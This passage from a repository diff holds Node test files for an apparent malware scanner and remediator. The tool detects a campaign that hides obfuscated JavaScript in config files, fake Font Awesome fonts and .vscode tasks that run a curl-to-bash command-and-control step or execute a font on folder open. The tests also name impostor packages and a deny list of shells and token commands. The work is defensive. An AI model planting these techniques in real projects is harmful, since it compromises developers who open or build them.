||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(existsSync(path.join(repo, ".vscode")), false, ".vscode removed entirely");
|
||||
});
|
||||
|
||||
test("removes the carrier but preserves a referenced clean font (remove-font-set)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/evil.woff2": evilFont(),
|
||||
"public/fonts/good.woff2": goodFont(),
|
||||
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, true);
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts/evil.woff2")), false, "carrier removed");
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts/good.woff2")), true, "clean font preserved");
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts")), true, "fonts dir kept");
|
||||
});
|
||||
|
||||
test("removes the whole fonts dir when it is entirely malware (remove-dir)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(),
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(),
|
||||
"public/fonts/README.md": "# Font Awesome",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts")), false, "fonts dir removed");
|
||||
assert.equal(existsSync(path.join(repo, "public")), true, "only the fonts dir is removed");
|
||||
});
|
||||
|
||||
test("removes artifacts and strips all injected .gitignore lines", async () => {
|
||||
const repo = await makeRepo({
|
||||
"temp_auto_push.bat": "x",
|
||||
"temp_interactive_push.bat": "x",
|
||||
"config.bat": "x",
|
||||
"branch_structure.json": "{}",
|
||||
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\ntemp_interactive_push.bat\nbranch_structure.json\n",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
for (const a of ["temp_auto_push.bat", "temp_interactive_push.bat", "config.bat", "branch_structure.json"]) {
|
||||
assert.equal(existsSync(path.join(repo, a)), false, `${a} removed`);
|
||||
}
|
||||
const gi = (await fs.readFile(path.join(repo, ".gitignore"), "utf8")).split(/\r?\n/);
|
||||
for (const inj of ["config.bat", "temp_auto_push.bat", "temp_interactive_push.bat", "branch_structure.json"]) {
|
||||
assert.ok(!gi.includes(inj), `${inj} removed from .gitignore`);
|
||||
}
|
||||
assert.ok(gi.includes(".env"), ".env pattern ensured");
|
||||
});
|
||||
|
||||
test("dry run reports planned changes without writing", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
const before = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
const result = await remediate(repo, findings, { dryRun: true, git: noGit });
|
||||
assert.equal(result.changed, false);
|
||||
assert.ok(result.applied.length >= 1);
|
||||
const after = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
assert.equal(after, before, "dry run must not modify the file");
|
||||
});
|
||||
|
||||
test("does not touch unrelated files when remediating", async () => {
|
||||
const repo = await makeRepo({
|
||||
"postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
"README.md": "# Hello\nThis file is innocent.\n",
|
||||
"src/util.js": `export const add = (a, b) => a + b;\n`,
|
||||
});
|
||||
const readmeBefore = await fs.readFile(path.join(repo, "README.md"), "utf8");
|
||||
const utilBefore = await fs.readFile(path.join(repo, "src/util.js"), "utf8");
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(await fs.readFile(path.join(repo, "README.md"), "utf8"), readmeBefore);
|
||||
assert.equal(await fs.readFile(path.join(repo, "src/util.js"), "utf8"), utilBefore);
|
||||
});
|
||||
|
||||
test("manual-review-only infection makes no automated file changes", async () => {
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-autoanimation": "1.0.0" } }),
|
||||
".gitignore": ".env\n.env.local\n.env.*.local\n.env.production\n.env.development\n",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
assert.equal(findings.severity, "infected");
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, false, "no auto-fixable changes for an impostor dep");
|
||||
assert.equal(result.skipped.length >= 1, true);
|
||||
});
|
||||
@@ -0,0 +1,130 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { buildRunJson, buildRunMarkdown } from "../src/report.js";
|
||||
|
||||
function sampleRun(overrides = {}) {
|
||||
return {
|
||||
scannedAt: "2026-06-01T12:00:00.000Z",
|
||||
scannedAtHuman: "Mon Jun 01 2026 12:00:00",
|
||||
account: { kind: "org", owner: "RMSoft-ltd" },
|
||||
dryRun: false,
|
||||
autoMerge: true,
|
||||
mergeMethod: "squash",
|
||||
totals: {
|
||||
total: 4,
|
||||
clean: 1,
|
||||
infected: 3,
|
||||
remediated: 2,
|
||||
merged: 1,
|
||||
prOpened: 2,
|
||||
manualOnly: 1,
|
||||
errors: 1,
|
||||
},
|
||||
repos: [
|
||||
{
|
||||
repo: "RMSoft-ltd/clean-app",
|
||||
severity: "clean",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: [],
|
||||
notes: [],
|
||||
manualReview: [],
|
||||
pr: null,
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/web",
|
||||
severity: "infected",
|
||||
findings: [
|
||||
{
|
||||
file: ".vscode",
|
||||
action: "remove-dir",
|
||||
confidence: "high",
|
||||
contentConfirmed: true,
|
||||
description: "malicious task",
|
||||
},
|
||||
],
|
||||
deleted: [".vscode", "public/fonts"],
|
||||
modified: ["vite.config.js"],
|
||||
notes: ["removed malware-injected entries from .gitignore"],
|
||||
manualReview: [],
|
||||
pr: {
|
||||
url: "https://github.com/RMSoft-ltd/web/pull/7",
|
||||
merged: true,
|
||||
mergeError: null,
|
||||
},
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/api",
|
||||
severity: "infected",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: ["postcss.config.mjs"],
|
||||
notes: [],
|
||||
manualReview: [],
|
||||
pr: {
|
||||
url: "https://github.com/RMSoft-ltd/api/pull/3",
|
||||
merged: false,
|
||||
mergeError: "required status checks have not passed",
|
||||
},
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/mob",
|
||||
severity: "infected",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: [],
|
||||
notes: [],
|
||||
manualReview: ["package.json: impostor dependency"],
|
||||
pr: null,
|
||||
error: null,
|
||||
},
|
||||
],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
test("buildRunMarkdown renders clickable PR links and merge status", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /\[#7\]\(https:\/\/github\.com\/RMSoft-ltd\/web\/pull\/7\)/);
|
||||
assert.match(md, /✅ merged/);
|
||||
assert.match(md, /⚠️ merge blocked/);
|
||||
assert.match(md, /\| Repository \| Pull request \| Status \| Changes \|/);
|
||||
assert.match(md, /removed: \.vscode, public\/fonts/);
|
||||
});
|
||||
|
||||
test("buildRunMarkdown surfaces a Needs attention section", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /## Needs attention/);
|
||||
assert.match(md, /auto-merge blocked: required status checks/);
|
||||
assert.match(md, /manual review: package\.json: impostor dependency/);
|
||||
});
|
||||
|
||||
test("buildRunMarkdown reflects account, mode, and totals", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /\*\*Account:\*\* org `RMSoft-ltd`/);
|
||||
assert.match(md, /auto-merge: on \(squash\)/);
|
||||
assert.match(md, /\| PRs merged \| 1 \|/);
|
||||
});
|
||||
|
||||
test("dry-run mode is labeled and omits the merged row", () => {
|
||||
const md = buildRunMarkdown(sampleRun({ dryRun: true, autoMerge: false }));
|
||||
assert.match(md, /DRY RUN/);
|
||||
assert.match(md, /auto-merge: off/);
|
||||
assert.ok(!md.includes("PRs merged"));
|
||||
});
|
||||
|
||||
test("buildRunJson tags a schema and preserves the repos array", () => {
|
||||
const run = sampleRun();
|
||||
const json = buildRunJson(run);
|
||||
assert.equal(json.schema, "polinrider-run/1");
|
||||
assert.equal(json.repos.length, 4);
|
||||
assert.equal(json.totals.merged, 1);
|
||||
// round-trips through JSON
|
||||
assert.deepEqual(JSON.parse(JSON.stringify(json)).account, {
|
||||
kind: "org",
|
||||
owner: "RMSoft-ltd",
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import os from "node:os";
|
||||
import { assertAllowed, CommandNotAllowedError, safeExec, buildGitArgs } from "../src/safe-exec.js";
|
||||
|
||||
test("rejects non-allowlisted commands (no node/bash/sh/npm/etc.)", () => {
|
||||
for (const cmd of ["node", "nodejs", "bash", "sh", "zsh", "npm", "npx", "yarn", "pnpm", "deno", "bun", "python", "env"]) {
|
||||
assert.throws(() => assertAllowed(cmd, ["-e", "payload"]), CommandNotAllowedError, cmd);
|
||||
}
|
||||
});
|
||||
|
||||
test("rejects path-bearing commands", () => {
|
||||
assert.throws(() => assertAllowed("/usr/bin/git", ["status"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("./git", ["status"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("git\\..\\node", ["x"]), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("rejects disallowed subcommands for git and gh", () => {
|
||||
assert.throws(() => assertAllowed("git", ["daemon"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("git", ["-C", "/x", "for-each-ref"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("gh", ["auth", "token"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("gh", []), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("allows expected subcommands, skipping leading -C/-c value options", () => {
|
||||
assert.deepEqual(assertAllowed("git", ["-C", "/x", "commit", "-m", "y"]), { cmd: "git", sub: "commit" });
|
||||
assert.deepEqual(assertAllowed("git", ["-c", "core.hooksPath=/dev/null", "clone", "url", "d"]), {
|
||||
cmd: "git",
|
||||
sub: "clone",
|
||||
});
|
||||
assert.deepEqual(assertAllowed("gh", ["api", "orgs/x/repos"]), { cmd: "gh", sub: "api" });
|
||||
assert.deepEqual(assertAllowed("gh", ["pr", "create"]), { cmd: "gh", sub: "pr" });
|
||||
});
|
||||
|
||||
test("safeExec throws synchronously (not a rejected promise) on a violation", () => {
|
||||
assert.throws(() => safeExec("node", ["-e", "1"]), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("buildGitArgs disables hooks and adds --no-verify to commit/push only", () => {
|
||||
const commit = buildGitArgs(["-C", "/x", "commit", "-m", "msg"]);
|
||||
assert.equal(commit[0], "-c");
|
||||
assert.ok(commit[1] === `core.hooksPath=${os.devNull}`);
|
||||
assert.ok(commit.includes("--no-verify"));
|
||||
|
||||
const push = buildGitArgs(["-C", "/x", "push", "url", "branch"]);
|
||||
assert.ok(push.includes("--no-verify"));
|
||||
|
||||
const clone = buildGitArgs(["clone", "--depth=1", "url", "d"]);
|
||||
assert.ok(!clone.includes("--no-verify"), "clone must not get --no-verify");
|
||||
assert.equal(clone[0], "-c");
|
||||
assert.ok(clone[1].startsWith("core.hooksPath="));
|
||||
});
|
||||
@@ -0,0 +1,33 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { execa } from "execa";
|
||||
import { fileURLToPath } from "node:url";
|
||||
|
||||
const probe = fileURLToPath(new URL("./_safety-probe.mjs", import.meta.url));
|
||||
const entry = fileURLToPath(new URL("../src/index.js", import.meta.url));
|
||||
|
||||
test("Layer 3 in-code guards block eval / Function / vm / process.binding", async () => {
|
||||
const r = await execa(process.execPath, [probe], { reject: false });
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
assert.match(r.stdout, /safety-probe OK/);
|
||||
});
|
||||
|
||||
test("Layer 2 V8 flag also blocks codegen (defense in depth)", async () => {
|
||||
const r = await execa(process.execPath, ["--disallow-code-generation-from-strings", probe], {
|
||||
reject: false,
|
||||
});
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
});
|
||||
|
||||
test("orchestrator imports cleanly under the hardening flag (dependency canary)", async () => {
|
||||
// Import index.js (without running main) under the flag. If execa/chalk/ora or
|
||||
// any transitive dep needs eval/new Function at import time, this exits non-zero.
|
||||
const code = `await import(${JSON.stringify(entry)}); console.log("import OK");`;
|
||||
const r = await execa(
|
||||
process.execPath,
|
||||
["--disallow-code-generation-from-strings", "--input-type=module", "-e", code],
|
||||
{ reject: false },
|
||||
);
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
assert.match(r.stdout, /import OK/);
|
||||
});
|
||||
@@ -0,0 +1,229 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import {
|
||||
makeRepo,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
LEGIT_TASKS,
|
||||
LEGIT_LAUNCH,
|
||||
INFECTED_TASKS,
|
||||
INFECTED_TASKS_NODE,
|
||||
ORIGINAL_PAYLOAD,
|
||||
ROTATED_PAYLOAD,
|
||||
GENERIC_PAYLOAD,
|
||||
infectedConfig,
|
||||
goodFont,
|
||||
evilFont,
|
||||
validSfnt,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
const byId = (findings, id) => findings.findings.find((f) => f.id === id);
|
||||
|
||||
test("clean repo → severity clean, zero findings", async () => {
|
||||
// A normal repo with legit VS Code tasks + referenced fonts (but not the full
|
||||
// tasks+launch+fonts malware triad) must come back completely clean.
|
||||
const repo = await makeRepo({
|
||||
"postcss.config.js": LEGIT_CONFIG,
|
||||
"src/App.jsx": `export default function App(){ return null; }\n`,
|
||||
".vscode/tasks.json": LEGIT_TASKS,
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { react: "^18" } }),
|
||||
".gitignore": ".env\nnode_modules\n",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "clean");
|
||||
assert.equal(f.findings.length, 0);
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
assert.equal(f.coPresenceAmplified, false);
|
||||
});
|
||||
|
||||
test("original variant payload → confirmed strip finding, infected", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "js.payload.original");
|
||||
assert.ok(finding, "expected original-variant finding");
|
||||
assert.equal(finding.action, "strip-js-payload");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.ok(finding.edit.offset > 0);
|
||||
});
|
||||
|
||||
test("rotated variant payload → confirmed strip finding", async () => {
|
||||
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "js.payload.rotated");
|
||||
assert.ok(finding, "expected rotated-variant finding");
|
||||
assert.equal(finding.action, "strip-js-payload");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
});
|
||||
|
||||
test("generic obfuscation → manual-review only, suspicious (not infected)", async () => {
|
||||
const repo = await makeRepo({ "src/App.js": infectedConfig(GENERIC_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "js.payload.heuristic");
|
||||
assert.ok(finding, "expected heuristic finding");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
});
|
||||
|
||||
test("malicious .vscode (curl|bash C2 task) → whole-dir remove finding", async () => {
|
||||
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS, ".vscode/settings.json": "{}" });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "vscode.malicious");
|
||||
assert.ok(finding, "expected vscode finding");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.match(finding.edit.absPath, /\.vscode$/);
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("malicious .vscode (node executes a font on folderOpen) → detected", async () => {
|
||||
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS_NODE });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "vscode.malicious");
|
||||
assert.ok(finding, "the node-runs-a-font task must be detected");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("carrier + referenced clean font in public/fonts → remove-font-set preserves the clean font", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/evil.woff2": evilFont(),
|
||||
"public/fonts/good.woff2": goodFont(),
|
||||
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const fontFindings = f.findings.filter((x) => x.category === "font");
|
||||
assert.equal(fontFindings.length, 1);
|
||||
assert.equal(fontFindings[0].action, "remove-font-set");
|
||||
assert.equal(f.severity, "infected");
|
||||
const removed = fontFindings[0].edit.removals.map((r) => r.rel);
|
||||
assert.ok(removed.some((p) => /evil\.woff2$/.test(p)), "evil font removed");
|
||||
assert.ok(!removed.some((p) => /good\.woff2$/.test(p)), "referenced clean font preserved");
|
||||
});
|
||||
|
||||
test("infected fa font in a mixed dir → remove infected + fa-set + README, keep clean non-fa fonts", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(), // JS carrier disguised as Font Awesome
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(), // clean FA sibling (still removed)
|
||||
"public/fonts/fa-regular-400.ttf": validSfnt(), // clean FA sibling (still removed)
|
||||
"public/fonts/README.md": "# Font Awesome",
|
||||
"public/fonts/gill-sans/GillSans-Bold.otf": validSfnt("Copyright"), // clean, NOT fa → keep
|
||||
"public/fonts/gill-sans/README.md": "# Gill Sans license", // nested legit README → keep
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "font.carrier-set");
|
||||
assert.ok(finding, "expected remove-font-set finding");
|
||||
assert.equal(finding.action, "remove-font-set");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
const removed = finding.edit.removals.map((r) => r.rel);
|
||||
assert.equal(removed.length, 4, JSON.stringify(removed));
|
||||
for (const name of ["fa-solid-400.woff2", "fa-brands-400.woff2", "fa-regular-400.ttf", "README.md"]) {
|
||||
assert.ok(removed.some((p) => p.endsWith(name)), `${name} should be removed`);
|
||||
}
|
||||
// The nested clean subdir — including its own README — must be untouched.
|
||||
assert.ok(!removed.some((p) => p.includes("gill-sans")), "gill-sans must be preserved");
|
||||
});
|
||||
|
||||
test("referenced file that is a JS payload (not a valid font) → manual review, never auto-deleted", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/webfont.woff2": evilFont(), // JS payload, but wired into the build
|
||||
"src/app.js": `import "./public/fonts/webfont.woff2";`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "font.referenced-carrier");
|
||||
assert.ok(finding, "referenced carrier must be surfaced, not silently trusted");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
const autoRemoved = ["delete-font", "remove-font-set", "remove-dir"];
|
||||
assert.ok(
|
||||
!f.findings.some((x) => autoRemoved.includes(x.action)),
|
||||
"a referenced file must never be auto-deleted",
|
||||
);
|
||||
});
|
||||
|
||||
test("dir of only infected + fa-set + README → whole-dir removal", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(),
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(),
|
||||
"public/fonts/README.md": "# FA",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "font.carrier-dir");
|
||||
assert.ok(finding, "expected whole-dir removal");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.match(finding.edit.absPath, /public[\\/]fonts$/);
|
||||
});
|
||||
|
||||
test("valid fa-named fonts, no payload → medium (suspicious) manual review, no removal", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-900.woff2": goodFont(),
|
||||
"public/fonts/fa-brands-400.ttf": validSfnt(),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
const finding = byId(f, "font.review");
|
||||
assert.ok(finding, "expected fa manual-review finding");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
});
|
||||
|
||||
test("unreferenced but structurally valid non-fa fonts → clean, no findings", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"public/fonts/roboto.otf": validSfnt("Copyright"),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "clean");
|
||||
assert.equal(f.findings.filter((x) => x.category === "font").length, 0);
|
||||
});
|
||||
|
||||
test("artifacts + injected .gitignore lines detected", async () => {
|
||||
const repo = await makeRepo({
|
||||
"temp_auto_push.bat": "echo malware",
|
||||
"config.bat": "echo orchestrator",
|
||||
"branch_structure.json": "{}",
|
||||
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\nbranch_structure.json\n",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.ok(byId(f, "artifact.temp_auto_push.bat"));
|
||||
assert.ok(byId(f, "artifact.config.bat"));
|
||||
assert.ok(byId(f, "artifact.branch_structure.json"));
|
||||
assert.ok(byId(f, "gitignore.injected"));
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("impostor dependency flagged for manual review (confirmed)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-mainanimation": "1.0.0" } }),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "package.impostor-deps");
|
||||
assert.ok(finding);
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("co-presence raises severity but does not mark infected without payload", async () => {
|
||||
const repo = await makeRepo({
|
||||
".vscode/tasks.json": LEGIT_TASKS,
|
||||
".vscode/launch.json": LEGIT_LAUNCH,
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.coPresenceAmplified, true);
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
});
|
||||
Reference in New Issue
Block a user